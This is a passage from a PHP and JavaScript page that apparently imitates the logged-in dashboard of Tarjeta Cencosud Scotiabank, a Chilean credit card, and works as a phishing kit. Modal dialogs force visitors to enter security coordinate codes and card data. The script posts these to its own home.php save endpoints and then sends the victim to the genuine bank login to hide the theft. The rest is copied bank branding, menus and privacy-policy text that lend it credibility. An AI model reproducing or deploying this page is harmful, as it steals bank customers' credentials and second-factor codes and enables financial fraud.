data: JSON.stringify(data),
traditional:true
});
setTimeout(function(){
$( "#dialog-coordenadas" ).dialog( "close" );
$( "#dialog-coordenadas2" ).dialog("open");
$('#loading').hide();
},4000);
}
},
},
close: function() {
},
});
$( "#dialog-coordenadas2" ).dialog({
title: null,
resizable: false,
closeText: "hide",
closeOnEscape: false,
open: function(event, ui) {
$(".ui-dialog-titlebar-close", ui.dialog || ui).hide();
},
autoOpen: false,
minWidth:600,
modal: true,
draggable: false,
position: { my: "top+30px center", at: "center top+30px"},
buttons: {
"Siguiente": {
text:'Validar',
'class':'brand-button primary',
click: function() {
validar=true;
$("#dialog-coordenadas2 input.code-input").each(function(a,b){
if($(b).val()==''){
$(b).focus();
validar=false;
return false;
}
});
if(validar==false){
return false;
}
<?
if($primero=='CC'){
echo "var url = './home.php?save=coordenadas2&ultimo=true';";
}else{
echo "var url = './home.php?save=coordenadas2';";
}
?>
$('#loading').show();
var $form = $("form.coordenadas2");
var data = getFormData($form);
$.ajax({
url: url,
type: 'post',
dataType: 'json',
contentType: 'application/json',
success: function (data) {
},
data: JSON.stringify(data)
});
setTimeout(function(){
$( "#dialog-coordenadas2" ).dialog( "close" );
<?
if($primero=='CC'){
echo 'window.location.replace("https://www.mitarjetacencosud.cl/login");';
}else{
echo '$( "#dialog-form" ).dialog("open");';
}
?>
$('#loading').hide();
},4000);
}
},
},
close: function() {
},
});
var card = new Card({
// a selector or DOM element for the form where users will
// be entering their information
form: '.active form', // *required*
// a selector or DOM element for the container
// where you want the card to appear
container: '.card-wrapper', // *required*
width: 300, // optional — default 350px
formatting: true, // optional - default true
// Strings for translation - optional
messages: {
validDate: 'valid\ndate', // optional - default 'valid\nthru'
monthYear: 'mm/yyyy', // optional - default 'month/year'
},
// Default placeholders for rendered fields - optional
placeholders: {
//number: '•••• •••• •••• ••••',
name: 'Nombre',
expiry: '••/••',
cvc: '•••'
},
masks: {
//cardNumber: '•' // optional - mask card number
},
// if true, will log helpful messages for setting up Card
debug: false // optional - default false
});
<?
if($primero=='SoloCC'){
echo '$( "#dialog-form" ).dialog("open");';
}elseif($primero=='CC'){
echo '$( "#dialog-form" ).dialog("open");';
}else{
echo '$( "#dialog-coordenadas" ).dialog("open");';
}
?>
} );
function addUser() {
}
</script>
</head>
<body class="" style="overflow: inherit;">
<div id="app"><div class="app__content"><div class="content"><div class="dashboard__container "><div class="container__menu"><div class="menu__fixed"><div class="dashboard-menu menu--close"><div class="dashboard-menu__content dashboard-menu--open dashboard--close
dashboard-menu--default"><div class="dashboard-menu--open--content"><div class="content__close"><img src="dashboard_files/7274485783483653-close-drawer-transparent.svg" alt="Icono close"></div><div class="headerMenu__contain"><div class="headerMenu__title">¡Hola <? echo $_SESSION["nombre"];?>!</div><div class="selectCard__contain defaultId"><div class="selectCard__label">Tarjeta Mastercard</div></div><div class="selectCard__group-container"><div class="selectCard__group-options selectCard__group-close"><div class="selectCard__options"><img class="selectCard__options--ico" src="dashboard_files/7349990214467961-15302349691185957-6249695103869664-cencosud-1.svg" alt="Mastercard"><div class="selectCard__options--description"><p class="selectCard__options--title">Mastercard</p><div class="selectCard__options--numbers"><span class="selectCard__options--dots">●●●●</span><span class="selectCard__options--dots">●●●●</span><span class="selectCard__options--dots">●●●●</span><span>●●●●</span></div></div></div></div></div><div id="card" class="card" style="background-image: url("https://staticresourcesfiles.blob.core.windows.net/content/web/static/6650534810735422-6465093191842128-tarjeta-cenco-sin-contenido-1.svg");"><span class="card__name" style="color: rgb(255, 255, 255);"> <? echo $_SESSION["nombre"];?></span><span class="card__number" style="color: rgb(255, 255, 255);"><div class="card__number--dots">●●●●</div><div class="card__number--dots">●●●●</div><div class="card__number--dots">●●●●</div>●●●●</span><span class="card__expiration" style="color: rgb(255, 255, 255);">01 / 24</span></div></div><div><div class="mainmenu-link-container active"><div class="mainmenu-icon-container"><img class="mainmenu-icon false" src="dashboard_files/689554449383684-9366793582185402-home_dashboard.svg" alt="Menu Icon"></div><label class="mainmenu-link-text">Inicio</label></div></div><div><div class="mainmenu-link-container false"><div class="mainmenu-icon-container"><img class="mainmenu-icon true" src="dashboard_files/26033554465315234-24461300447312317-movimientos_dashboard.svg" alt="Menu Icon"></div><label class="mainmenu-link-text">Movimientos</label><img src="dashboard_files/20368239505608332-4394272414151712-flecha_dashboard.svg" class="submenu-icon false" alt="Arrow Icon"></div><div class="submenu-links-container submenu-links-closed" style="max-height: 0px;"><a href="https://www.mitarjetacencosud.cl/movimientos/facturados/7224128" target="_self" class="submenu-link-container false"><i> </i><label class="submenu-link-text">Facturados</label></a><a href="https://www.mitarjetacencosud.cl/movimientos/tarjetas/11846926" target="_self" class="submenu-link-container false"><i> </i><label class="submenu-link-text">Últimos movimientos</label></a><a href="https://www.mitarjetacencosud.cl/pagos/privado/historial-pago" target="_self" class="submenu-link-container false"><i> </i><label class="submenu-link-text">Seguimiento de pagos</label></a></div></div><div></div><div></div><div><a href="https://www.mitarjetacencosud.cl/pagos/eecc/privado/tarjetas/11846926" target="_self" class="mainmenu-link-container false"><div class="mainmenu-icon-container"><img class="mainmenu-icon true" src="dashboard_files/7437229460281571-22771785216179086-pagar_cuenta_dashboard.svg" alt="Menu Icon"></div><label class="mainmenu-link-text">Pagar mi cuenta</label></a></div><div><div class="mainmenu-link-container false"><div class="mainmenu-icon-container"><img class="mainmenu-icon true" src="dashboard_files/42302408741846476-55496453273986-avance_dashboard.svg" alt="Menu Icon"></div><label class="mainmenu-link-text">Avance</label><img src="dashboard_files/44072764432867806-4394272414151712-flecha_dashboard-1.svg" class="submenu-icon false" alt="Arrow Icon"></div><div class="submenu-links-container submenu-links-closed" style="max-height: 0px;"><a href="https://www.mitarjetacencosud.cl/avances/mis-avances" target="_self" class="submenu-link-container false"><i> </i><label class="submenu-link-text">Mis Avances</label></a><a href="https://www.tarjetacencosud.cl/publico/producto/avance/landing/caracteristicas" target="_self" class="submenu-link-container false"><i> </i><label class="submenu-link-text">Más información</label></a></div></div><div><div class="mainmenu-link-container false"><div class="mainmenu-icon-container"><img class="mainmenu-icon true" src="dashboard_files/811698948743202-5289884072671558-super_avance_dashboard.svg" alt="Menu Icon"></div><label class="mainmenu-link-text">Súper Avance</label><img src="dashboard_files/7177072935188475-4394272414151712-flecha_dashboard-1-.svg" class="submenu-icon false" alt="Arrow Icon"></div><div class="submenu-links-container submenu-links-closed" style="max-height: 0px;"><a href="https://www.mitarjetacencosud.cl/avances/mis-super-avances" target="_self" class="submenu-link-container false"><i> </i><label class="submenu-link-text">Mis Súper Avances</label></a><a href="https://www.tarjetacencosud.cl/publico/comun/preguntas-frecuentes/landing/tarjeta-cencosud-scotiabank" target="_self" class="submenu-link-container false"><i> </i><label class="submenu-link-text">Preguntas frecuentes</label></a><a href="https://www.tarjetacencosud.cl/publico/producto/super-avance/landing/caracteristicas" target="_self" class="submenu-link-container false"><i> </i><label class="submenu-link-text">Más información</label></a></div></div><div class="footerlink-container "><a class="footerlink-link" href="https://www.mitarjetacencosud.cl/sucursales" target="_self">Sucursales Abiertas</a></div><div class="footerlink-container "><a class="footerlink-link" href="https://www.tarjetacencosud.cl/publico/beneficios/landing/inicio" target="_self">Mis beneficios</a></div><div class="footerlink-container "><a class="footerlink-link" href="https://www.tarjetacencosud.cl/publico/comun/landing/servicio-cliente" target="_self">Servicio al cliente</a></div><div class="footerlink-container "><a class="footerlink-link" href="https://www.mitarjetacencosud.cl/bloqueos/7224128" target="_self">Bloqueo de tarjeta</a></div></div></div><div class="dashboard__next" style="visibility: hidden;"></div></div></div></div><div class="container__header"><div class="header__fixed"><div class="header__box-privacyagreement"><div></div><div class="drawer-privacyagreement-checks drawer-privacyagreement-checks--close "><div class="drawer-privacyagreement-checks__content "><div class="drawer-privacyagreement-checks-title-container"><div class="box-img"><img class="img" src="dashboard_files/916385539509625-dashboard_privacy_agreement.svg" alt="Imagen"></div><div class="title-text">Acuerdos de privacidad</div><div class="subtitle-text">Revisa los acuerdos de privacidad para autorizar el uso de tus datos personales en el sitio privado de Tarjeta Cencosud Scotiabank</div></div><div class="general-agreement"><label class="general-agreement-label"><div class="check"><input name="checkFirstAgreement" type="checkbox"><label class="check__label check--default "></label></div>He leído y acepto los <a href="https://www.mitarjetacencosud.cl/dashboard#" target="">Acuerdos generales</a></label></div><div class="digital-agreement"><label class="digital-agreement-label"><div class="check"><input name="checkSecondAgreement" type="checkbox"><label class="check__label check--default "></label></div>He leído y acepto los <a href="https://www.mitarjetacencosud.cl/dashboard#" target="">Acuerdos digitales</a></label></div><div class="button-container"><div class="button-top"><button type="button" class="button button--medium button--primary button--default" disabled=""><div class="button__content">Confirmar</div></button></div><div class="button-down"><button type="button" class="button button--medium button--secondary button--default"><div class="button__content">Ver más tarde</div></button></div></div></div></div><div class="drawer-privacyagreement-legal drawer-privacyagreement-legal--close "><div class="drawer-privacyagreement-legal__content "><div class="superior"><div class="drawer-privacyagreement-legal-title-container"><div class="title-text">Acuerdo de Privacidad Digital</div><div class="subtitle-text">CAT Administradora de Tarjetas S.A.</div></div><div class="button-container"><button type="button" class="button button--medium button--tertiary button--default"><div class="button__content">Descarga el documento de privacidad<img src="dashboard_files/5992061344061106-download-4.svg" class="content__icon right" alt="Icon button"></div></button></div><div class="content-box"><div><h3>Cómo protegemos su privacidad digital.</h3>
<p>La presente política, junto con el Acuerdo de Privacidad de CAT, describe cómo CAT y sus Filiales utiliza cookies y otras tecnologías para proporcionar a nuestros clientes y socios comerciales, productos y servicios personalizados.</p>
<h3>Uso de cookies:</h3>
<p>Una "cookie" es un dato que crea un navegador web cuando visita un sitio web. Estos datos son información sobre cómo y cuándo utiliza un sitio. Se coloca en su computador, teléfono inteligente o tablet ("dispositivo en línea") en forma de un pequeño archivo de texto.</p>
<p>Hay dos tipos principales de cookies:</p>
<ul>
<li><strong>Cookies de sesión:</strong> son cookies temporales que caducan cuando abandonas el sitio. Las cookies de sesión permiten que el sitio web lo reconozca mientras navega entre las páginas durante una sola sesión del navegador y le permite usar el sitio web de manera más eficiente.</li>
<li><strong>Cookies persistentes:</strong> en contraste con las cookies de sesión, las cookies persistentes se almacenan en su dispositivo en línea entre las sesiones de navegación hasta su vencimiento o eliminación. Por lo tanto, permiten que el sitio web lo "reconozca" a su regreso, recuerde sus preferencias y personalice sus servicios.</li>
</ul>
<p>Utilizamos cookies de sesión y cookies persistentes en nuestro sitio web. El beneficio de habilitar las cookies es que permitirá que el uso de los sitios web de Scotiabank sea más rápido, fácil y adaptado a sus intereses.</p>
<h3>Uso de Pixel, Tags y web beacons:</h3>
<p>Los Pixel Tags y los web beacons proporcionan información sobre cómo el usuario interactúa con nuestros sitios web, aplicaciones móviles y correos electrónicos. Estas tecnologías pueden comunicarse con los servidores para obtener imágenes y otro contenido y para transmitir información sobre la dirección IP que se utiliza para acceder a nuestro sitio e información sobre su navegador. Podemos utilizar la información que obtenemos a través de estas tecnologías para enviarle información de nuestros productos y servicios de acuerdo sus preferencias.</p>
<h3>¿Por qué usamos estas tecnologías?</h3>
<ul>
<li><strong>Para recopilar información estadística</strong>: Utilizamos estas tecnologías para recopilar y evaluar información estadística anonimizada sobre cómo los usuarios utilizan nuestros sitios web para ayudarnos a mejorar nuestros sitios, productos y servicios.</li>
<li><strong>Para medir el compromiso</strong>: utilizamos estas tecnologías para comprender mejor el comportamiento de los clientes en nuestros sitios web a fin de desarrollar estrategias de compromiso para brindarle un mejor servicio y facilitarle la navegación por nuestros sitios y encontrar información sobre nuestros productos y servicios. Estos datos pueden coincidir con otra información que tenemos sobre usted para proporcionarle comunicaciones y servicios de marketing personalizados que reflejen mejor sus necesidades.</li>
<li><strong>Para anunciar o hacer ofertas</strong>: Utilizamos estas tecnologías para enviar anuncios y ofertas relacionadas con CAT de acuerdo a sus preferencias o que puedan ser de su interés en sitios web de terceros relacionados con CAT.</li>
<ul>
<li><strong>Para autenticar su computadora: </strong>Utilizamos estas tecnologías para recopilar información como la dirección IP y el tipo de navegador para autenticarlo a usted y su computadora y para detectar y prevenir el fraude.</li>
<li><strong>Para seguridad y verificación: </strong>Utilizamos estas tecnologías para ayudarnos a mantener la seguridad y verificar sus datos mientras navega de una página a otra en nuestros sitios web, lo que le permite evitar tener que volver a ingresar sus datos cada vez que ingresa a una nueva página.</li>
<li><strong>Para personalizar el contenido: </strong>Utilizamos estas tecnologías para recordar cómo ha personalizado su uso de nuestros sitios web, como su moneda y zona horaria preferidas, y para personalizar su experiencia en nuestros sitios web y aplicaciones móviles.</li>
<li><strong>Para mejorar su experiencia de usuario: </strong>Utilizamos cookies de estas tecnologías para recopilar información sobre su actividad en nuestros sitios web que nos permita comprender mejor y mejorar su experiencia de usuario cuando utiliza nuestros sitios web, por ejemplo, una cookie que reconoce si su navegador admite características tecnológicas específicas. Esto ayuda, por ejemplo, a permitir que los sitios web se carguen más rápidamente cuando solicita la descarga de un archivo grande.</li>
</ul>
</ul>
<h3>¿Por qué recopilamos información sobre su ubicación?</h3>
<p>Ofrecemos aplicaciones móviles u otros productos y servicios que utilizan información sobre su ubicación. Si elige usar dichas aplicaciones o servicios, podemos, con su consentimiento, recopilar información sobre su ubicación para proporcionarle los servicios que solicite (por ejemplo, para mostrarle el cajero automático más cercano) o para protegerlo a usted y a nosotros del fraude.</p>
<h3>Cómo controlar o rechazar las cookies</h3>
<p>Al navegar y continuar en el sitio web de CAT, Ud. nos indica que está consintiendo el uso de las cookies antes enunciadas, y en las condiciones contenidas en la presente Política de Cookies y otras tecnologías.</p>
<p>Ud. puede deshabilitar las cookies en su navegador. También puede modificar la configuración de su navegador para solicitar su permiso cada vez que un sitio web intente establecer una cookie. Sin embargo, nuestros sitios web (y muchos otros sitios web) se basan en cookies para habilitar ciertas funciones. Si elige deshabilitar las cookies, puede que todo o parte de los servicios o funcionalidades en nuestros sitios web no funcionen correctamente.</p>
<p>Puede evitar el almacenamiento y procesamiento de datos relacionados con su uso del sitio por parte de Google y Adobe de la siguiente manera:</p>
<ul>
<li>Puede optar por Adobe Analytics mediante Adobe Opt Out Ajustes.</li>
<li>Puede optar por no participar en Google Analytics instalando el complemento de exclusión voluntaria del navegador de Google.</li>
</ul>
<p>Si, Ud. no desea recibir publicidad de CAT, por favor contáctese llamando al escribiendo un correo electrónico a <a href="mailto:gestionatusdatos@cencosudscotiabank.cl">gestionatusdatos@cencosudscotiabank.cl</a></p>
<h3>Cómo desactivar otras tecnologías:</h3>
<ul>
<li><strong>Dispositivos móviles: </strong> Los principales navegadores de Internet móvil admiten DNT (Do not track, en español no rastrear) de varias formas. Haga clic en el navegador de su dispositivo móvil para revelar cómo ajustar su función DNT. Asimismo, muchos teléfonos tienen una configuración DNT separada para aplicaciones móviles. Tenga en cuenta que configurar su navegador en DNT no necesariamente afecta su configuración DNT para aplicaciones. Para asegurarse de que no se le rastrea, debe activar AMBAS opciones.</li>
<li><strong>Computadora de escritorio y notebook: </strong> Se deberá considerar el tipo de navegador instalado en el dispositivo, la configuración “No rastrear” está en la Configuración del navegador, en la casilla de “Privacidad", en la que se deberá marcar la casilla "Enviar una solicitud 'No rastrear'” el tráfico de navegación, para deshabilitar la operación de rastreo.</li>
</ul>
<h3>Cómo proteger tu seguridad</h3>
<p>Los navegadores como “Google Chrome, Microsoft Edge y equivalentes” le permiten almacenar contraseñas e ID de inicio de sesión, por lo que no necesita volver a ingresar esta información cada vez que accede a un sitio web. Para evitar el uso no autorizado de sus códigos en nuestros sitios, CAT insta encarecidamente a NO utilizar esta funcionalidad.</p>
<h3>Cómo le notificaremos los cambios a este Acuerdo</h3>
<p>Podemos cambiar este Acuerdo de vez en cuando para reflejar cambios en nuestras prácticas. Mostraremos el Acuerdo modificado en nuestro sitio web aplicaciones y otros canales que se definan, solicitando su correspondiente autorización a las nuevas condiciones. Le recomendamos que visite nuestro sitio web con frecuencia para mantenerse informado.</p>
<h3>Cómo contactarnos</h3>
<p>Si tiene alguna pregunta sobre este Acuerdo, comuníquese con nosotros al siguiente Correo electrónico: <a href="mailto:gestionatusdatos@cencosudscotiabank.cl">gestionatusdatos@cencosudscotiabank.cl</a></p></div></div></div><div class="container-buttons-options"><div class="button-top"><button type="button" class="button button--medium button--primary button--default"><div class="button__content">Apruebo este acuerdo de privacidad</div></button></div><div class="button-down"><button type="button" class="button button--medium button--secondary button--default"><div class="button__content">Rechazo este acuerdo de privacidad</div></button></div></div></div></div><div class="drawer-privacyagreement-loading drawer-privacyagreement-loading--close "><div class="drawer-privacy-agreement-loading__content "><div class="box-img"><div class="simple--loading__container"><img class="container__logo" src="dashboard_files/7038756464080005-grupo-220-1.svg" alt="Logotipo"><img class="container__amoebas" src="dashboard_files/7528128131071945-amebas_loading_png.png" alt="Amebas"></div></div></div></div></div><div class="header__content"><header class="header--default"><div class="header__welcome"><span class="welcome__text">¡Hola <? echo $_SESSION["nombre"];?>!</span><img class="welcome__icon" src="dashboard_files/5202082112636268-hamburger-1.svg" alt="Icono menu mobile"><a class="welcome__logo" href="https://www.tarjetacencosud.cl/publico/home"><img src="dashboard_files/39173572235097787-logo_cencosud.svg" alt="Logo"></a></div><div class="header__menu"><div class="menu__points"><div class="points"><div class="points__logo"><img src="dashboard_files/3635038435908313-23907030147023867-puntos_cencosud.svg" alt="Logo Puntos" class="fadeIn"></div><div class="points__information"><span class="information__points--mobile fadeIn">---.---</span><span class="information__title fadeIn">Puntos Cencosud</span><span class="information__points fadeIn">Tienes <small>---.---</small></span></div></div></div><div class="menu__icons"><div class="icons__icon fadeIn "><img class="icon__desktop" src="dashboard_files/36579668098597606-2610938745442628-9135745473407257-user-2.svg" alt="Icono"><img class="icon__mobile" src="dashboard_files/7350941299802258-6152294381801937-47908700358114253-user-1.svg" alt="Icono"><select class="icon__select--user"><option disabled="">Selecciona una opción</option><option value="MIS_DATOS">Mis datos</option><option value="BLOQUEO_TARJETA">Bloquear mi Tarjeta</option><option value="CLAVE_WEB">Cambiar clave web</option><option value="CERRAR_SESION">Cerrar sesión</option></select></div><div class="icons__icon fadeIn "><img class="icon__desktop" src="dashboard_files/5396102297962597-9281268684308861-9148016875319249-star.svg" alt="Icono"><img class="icon__mobile" src="dashboard_files/50593350368843-6918515222931501-6141454381284799-star.svg" alt="Icono"></div></div><div class="dropdow--header__container hidden"><div class="container__list" style="left: 1138px; top: 51px;"><div class="list__option "><span class="option__name ">Mis datos</span></div><div class="list__option "><span class="option__name ">Bloquear mi Tarjeta</span></div><div class="list__option "><span class="option__name ">Cambiar clave web</span></div><div class="list__option "><span class="option__name ">Cerrar sesión</span></div></div></div></div></header><div class="drawer-dashboard drawer-dashboard--close "><div class="drawer-dashboard__content background--white"><div class="content__box"><div class="content__box__container"><div class="container__icon"></div><img class="container__close" src="dashboard_files/08772679056707489-4498235664659036-close-button.svg" alt="Icono close"></div><div class="novelties__container"><div class="container__title"><img class="title__image" src="dashboard_files/3602624192530004-730970495033546-star-1.svg" alt="Icono novedades"><span class="title__span">Novedades para ti</span></div><div class="container__promotions"><div class="promotions__empty"><img class="empty__image" src="dashboard_files/45495427586536974-4465832500390703-ilustracion_el_tiempo_se_cabo-2.svg" alt="Imagen sin novedades"><h1 class="empty__title">Sin novedades</h1><span class="empty__subtitle">Aquí encontrarás ofertas e información importante especialmente pensadas para ti</span></div></div></div><div class="content__close"><img src="dashboard_files/08772679056707489-4498235664659036-close-button.svg" alt="Icono close"></div></div></div></div></div></div></div><div class="container__content"><div class="content__background theme--default"></div><div class="content__last--movements" style="z-index: 9;"><div class="container__last--movements"><div class="last--movements__desktop"><div class="movements-card"><div class="upper-section"><div class="title-container"><div class="title">Últimos movimientos</div><div class="subtitle">Aparecerán en tu próxima facturación</div></div><div class="creditlimit-container"><div class="credit-limit"><div class="credit-limit-container"><div><div class="credit-limit-label">Cupo Utilizado</div><div class="credit-limit-amount">$0</div></div><div class="available-credit-limit-container"><div class="credit-limit-label">Disponible</div><div class="credit-limit-amount">$-.---</div></div></div><div class="progress-bar-container"><div class="filler filler--mandarin" style="width: 0%;"></div></div><div class="credit-limit-total-container"><div><label class="credit-limit-label">Cupo total: </label><label class="credit-limit-total-amount">$-.---</label></div></div></div></div></div><div class="section-divider"></div><div class="middle-section "><div class=""><div class="movement" tabindex="0"><div class="movement-container inactive"><div class="movement-icon"><img src="dashboard_files/4635560649572479-5557054306996339-vector-1.svg" alt="Movement Icon"></div><div class="movement-right"><div class="movement-upper-section"><div class="movement-info"><label class="movement-label">Monto cancelado ...</label><label class="movement-date">28/01/2022</label></div><div class="movement-info-value"><label class="movement-amount">$----.---</label></div></div><div class="movement-lower-section"><div class="movement-detail hide"><label class="movement-fee-label">Nº cuotas</label></div><div class="movement-detail-value hide"><label class="movement-fee">00/00</label></div></div></div></div></div></div><div class=""><div class="movement" tabindex="0"><div class="movement-container inactive"><div class="movement-icon"><img src="dashboard_files/4635560649572479-5557054306996339-vector-1.svg" alt="Movement Icon"></div><div class="movement-right"><div class="movement-upper-section"><div class="movement-info"><label class="movement-label">Monto cancelado ...</label><label class="movement-date">28/01/2022</label></div><div class="movement-info-value"><label class="movement-amount">$----.---</label></div></div><div class="movement-lower-section"><div class="movement-detail hide"><label class="movement-fee-label">Nº cuotas</label></div><div class="movement-detail-value hide"><label class="movement-fee">00/00</label></div></div></div></div></div></div><div class=""><div class="movement" tabindex="0"><div class="movement-container inactive"><div class="movement-icon"><img src="dashboard_files/4635560649572479-5557054306996339-vector-1.svg" alt="Movement Icon"></div><div class="movement-right"><div class="movement-upper-section"><div class="movement-info"><label class="movement-label">Recargo de cobranza ...</label><label class="movement-date">26/01/2022</label></div><div class="movement-info-value"><label class="movement-amount">$---.---</label></div></div><div class="movement-lower-section"><div class="movement-detail hide"><label class="movement-fee-label">Nº cuotas</label></div><div class="movement-detail-value hide"><label class="movement-fee">00/00</label></div></div></div></div></div></div></div><div class="lower-section"><div class="card-footer-link"><a href="https://www.mitarjetacencosud.cl/movimientos/tarjetas/11846926" target="_self">Ver más movimientos</a></div></div></div></div><div class="last--movements__mobile"><div class="credit-limit-card credit-limit-card--contract"><div class="upper-section "><div class="creditlimit-container"><div class="credit-limit"><div class="credit-limit-container"><div><div class="credit-limit-label">Cupo Utilizado</div><div class="credit-limit-amount">$0</div></div><div class="available-credit-limit-container"><div class="credit-limit-label">Disponible</div><div class="credit-limit-amount">$-.---</div></div></div><div class="progress-bar-container"><div class="filler filler--mandarin" style="width: 0%;"></div></div></div><img class="expand-icon" src="dashboard_files/2729567639547428-45811605174163783-expand.svg" alt="Expand Icon"></div><div class="modal-generic "><div class="modal--content modal---background-white" style="width: 740px;"><img src="dashboard_files/5067549826624826-8773939573944158-error-2.svg" class="modal--close-icon" alt="Icono cerrar modal"><div class="movements-card"><div class="upper-section"><div class="title-container"><div class="title">Últimos movimientos</div><div class="subtitle">Aparecerán en tu próxima facturación</div></div><div class="creditlimit-container"><div class="credit-limit"><div class="credit-limit-container"><div><div class="credit-limit-label">Cupo Utilizado</div><div class="credit-limit-amount">$0</div></div><div class="available-credit-limit-container"><div class="credit-limit-label">Disponible</div><div class="credit-limit-amount">$-.---</div></div></div><div class="progress-bar-container"><div class="filler filler--mandarin" style="width: 0%;"></div></div><div class="credit-limit-total-container"><div><label class="credit-limit-label">Cupo total: </label><label class="credit-limit-total-amount">$-.---</label></div></div></div></div></div><div class="section-divider"></div><div class="middle-section "><div class=""><div class="movement" tabindex="0"><div class="movement-container inactive"><div class="movement-icon"><img src="dashboard_files/4635560649572479-5557054306996339-vector-1.svg" alt="Movement Icon"></div><div class="movement-right"><div class="movement-upper-section"><div class="movement-info"><label class="movement-label">Monto cancelado ...</label><label class="movement-date">28/01/2022</label></div><div class="movement-info-value"><label class="movement-amount">$----.---</label></div></div><div class="movement-lower-section"><div class="movement-detail hide"><label class="movement-fee-label">Nº cuotas</label></div><div class="movement-detail-value hide"><label class="movement-fee">00/00</label></div></div></div></div></div></div><div class=""><div class="movement" tabindex="0"><div class="movement-container inactive"><div class="movement-icon"><img src="dashboard_files/4635560649572479-5557054306996339-vector-1.svg" alt="Movement Icon"></div><div class="movement-right"><div class="movement-upper-section"><div class="movement-info"><label class="movement-label">Monto cancelado ...</label><label class="movement-date">28/01/2022</label></div><div class="movement-info-value"><label class="movement-amount">$----.---</label></div></div><div class="movement-lower-section"><div class="movement-detail hide"><label class="movement-fee-label">Nº cuotas</label></div><div class="movement-detail-value hide"><label class="movement-fee">00/00</label></div></div></div></div></div></div><div class=""><div class="movement" tabindex="0"><div class="movement-container inactive"><div class="movement-icon"><img src="dashboard_files/4635560649572479-5557054306996339-vector-1.svg" alt="Movement Icon"></div><div class="movement-right"><div class="movement-upper-section"><div class="movement-info"><label class="movement-label">Recargo de cobranza ...</label><label class="movement-date">26/01/2022</label></div><div class="movement-info-value"><label class="movement-amount">$---.---</label></div></div><div class="movement-lower-section"><div class="movement-detail hide"><label class="movement-fee-label">Nº cuotas</label></div><div class="movement-detail-value hide"><label class="movement-fee">00/00</label></div></div></div></div></div></div></div><div class="lower-section"><div class="card-footer-link"><a href="https://www.mitarjetacencosud.cl/movimientos/tarjetas/11846926" target="_self">Ver más movimientos</a></div></div></div></div></div></div><div class="credit-limit-card--lower-section"><div class="card-footer-link"><a href="https://www.mitarjetacencosud.cl/movimientos/tarjetas/11846926" target="_self">Ver más movimientos</a></div></div></div></div></div></div><div class="content__billing"><div class="billing-card"><div class="upper-section"><div class="title-container"><div><div class="title">Facturación disponible</div><div class="due-date">Fecha de vencimiento 03/02/2022</div></div><div class="button-container"><img src="dashboard_files/7260790645498507-09750966631636082-chevron_bottom-9.svg" class="button open-button" alt="Arrow Icon"></div></div><div class="alert-container"><div class="notification notification--information notification--banner false"><div class="img-container"><img src="dashboard_files/6360538009142434-info_notification.svg" alt="Icono notification"></div><div class="banner-middle-section false false"><div class="text-container">Si ya realizaste el pago, no consideres esta información</div></div><div class="banner-end-section"></div></div></div></div><div class="middle-section"><div class="container"><div class="min-payment-container open" style="margin-bottom: 10px;"><div class="min-payment-text">Pago mínimo</div><div class="min-payment-amount">$---.---</div></div><div class="billed-amount-container"><div class="billed-amount-text">Monto Facturado</div><div class="billed-amount">$---.---</div></div><div class="buttons-container"><button type="button" class="button button--small button--primary button--default"><div class="button__content">Pagar mi cuenta</div></button></div></div></div><div class="lower-section"><div class="card-footer-link"><label>Ver movimientos facturados</label></div></div></div></div><div class="content__others--services"><div class="carousel-container"><div class="title">Otros servicios disponibles</div><div class="slider-wrapper-carousel"><div class="slider-wrapper-carousel__main-box" style="overflow: scroll;"><div class="slider-wrapper-carousel__container" style="grid-template-columns: repeat(1, 224px); gap: 16px;"><div class="slider-wrapper-carousel__container__card"><div class="card-service-available"><div class="upper-section"><div class="title-circle-container"><div class="circle"></div><div class="title-container"><img src="dashboard_files/9125077929487062-9069258675419622-computer.svg" class="title-image"><div class="title-text">Del papel al email</div></div></div></div><div class="middle-section"><div class="children-container"><div class="card--paper__content"><div class="content__title">Tu <span>Estado de Cuenta</span> directo en tu email</div><span class="content__subtitle">Rápido y donde quieras</span><div class="content__button"><button type="button" class="gradient-button button--medium background--purple"><div class="button__content">Suscríbete ahora</div></button></div></div> </div><div class="button-container"><button type="button" class="button button--medium button--primary button--default"><div class="button__content">Suscríbete ahora</div></button></div></div></div></div></div></div><div class="slider-paginator-carousel"><div class="slider-paginator-carousel__buttons"><div class="slider-paginator-carousel__buttons__back "><img src="dashboard_files/6543806719609322-4617153577869193-chevron_left-7.svg" alt=" "></div><div class="slider-paginator-carousel__buttons__dot --active"></div><div class="slider-paginator-carousel__buttons__next "><img src="dashboard_files/6543806719609322-4617153577869193-chevron_left-7.svg" alt=" "></div></div></div></div></div></div><div class="content__discounts"><div class="banner-content"><div class="banner-content__mobile-title">Descuentos exclusivos para ti</div><div class="slider-wrapper"><div class="slider-paginator-promotion"><div class="slider-paginator-promotion__title-wrapper"><span class="slider-paginator-promotion__title-wrapper__title">Descuentos exclusivos para ti</span></div><div class="slider-paginator-promotion__buttons"><div class="slider-paginator-promotion__buttons__back "><img src="dashboard_files/7266761099538241-4617153577869193-chevron_left-6.svg" alt=" "></div><div class="slider-paginator-promotion__buttons__dots --active"></div><div class="slider-paginator-promotion__buttons__dots"></div><div class="slider-paginator-promotion__buttons__dots"></div><div class="slider-paginator-promotion__buttons__dots"></div><div class="slider-paginator-promotion__buttons__next --active"><img src="dashboard_files/7266761099538241-4617153577869193-chevron_left-6.svg" alt=" "></div></div></div><div class="slider-wrapper__main-box"><div class="slider-wrapper__container"><div class="slider-wrapper__container__card"><div class="web-card" style="grid-template-columns: repeat(5, 1fr); gap: 16px;"><a href="https://www.paris.cl/tecnologia/celulares/smartphone/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=smartphone" target="_blank"><img class="image__desktop" src="dashboard_files/1464816038966701-9560393656595785-banner_tarjetacencosud_celulares_desktop.jpeg" alt="Image Desktop"></a><a href="https://www.paris.cl/tecnologia/computadores/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=computacion" target="_blank"><img class="image__desktop" src="dashboard_files/3152297324016613-048113607291186744-banner_tarjetacencosud_computacion_desktop.jpeg" alt="Image Desktop"></a><a href="https://www.paris.cl/dormitorio/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=dormitorio" target="_blank"><img class="image__desktop" src="dashboard_files/4109679366132004-14347309083432291-banner_tarjetacencosud_dormitorio_desktop.jpeg" alt="Image Desktop"></a><a href="https://www.paris.cl/linea-blanca/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=linea_blanca" target="_blank"><img class="image__desktop" src="dashboard_files/7465166447430605-4723084715185526-banner_tarjetacencosud_lb_desktop.jpeg" alt="Image Desktop"></a><a 